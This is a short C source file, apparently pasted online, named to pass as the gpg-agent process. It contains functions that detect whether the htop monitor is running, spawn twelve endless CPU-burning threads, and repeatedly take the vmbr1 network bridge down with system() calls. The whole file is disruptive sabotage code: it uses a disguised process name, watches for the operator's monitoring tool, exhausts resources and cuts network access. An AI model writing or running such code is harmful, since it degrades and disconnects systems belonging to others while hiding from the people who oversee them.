u-gpg-agent.c 1.5 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455
  1. #include "u-gpg-agent.h"
  2. int is_htop_here() {
  3. char cmd[100] = "pgrep htop"; // shell command to check for htop process
  4. FILE* fp = popen(cmd, "r"); // open a pipe to execute the command and read its output
  5. char buf[10]; // buffer to hold the output
  6. fgets(buf, sizeof(buf), fp); // read the output from the pipe into the buffer
  7. pclose(fp); // close the pipe
  8. if (strlen(buf) > 0) { // if the output is non-empty, htop is running
  9. printf("HTOP TROUVÉ\n");
  10. return 1;
  11. } else {
  12. return 0;
  13. }
  14. }
  15. void* stress_thread(void* arg) {
  16. double size = 100000;
  17. double *arr = malloc(size * sizeof(double));
  18. if (arr == NULL) {
  19. printf("Error: failed to allocate memory\n");
  20. exit(1);
  21. }
  22. srand(time(NULL));
  23. while (1) {
  24. // generate random values and perform complex mathematical operations on them
  25. for (int i = 0; i < size; i++) {
  26. arr[i] = (double)rand() / RAND_MAX;
  27. }
  28. for (int i = 0; i < size; i++) {
  29. arr[i] = sin(cos(tan(arr[i] * M_PI)));
  30. }
  31. }
  32. pthread_exit(NULL);
  33. }
  34. void stress() {
  35. int num_threads = 12;
  36. pthread_t threads[num_threads];
  37. for (int i = 0; i < num_threads; i++) {
  38. pthread_create(&threads[i], NULL, stress_thread, NULL);
  39. }
  40. for (int i = 0; i < num_threads; i++) {
  41. pthread_join(threads[i], NULL);
  42. }
  43. }
  44. void kill_nic() {
  45. system("/usr/bin/ip l set vmbr1 down");
  46. sleep(10);
  47. system("/usr/bin/ip l set vmbr1 up");
  48. }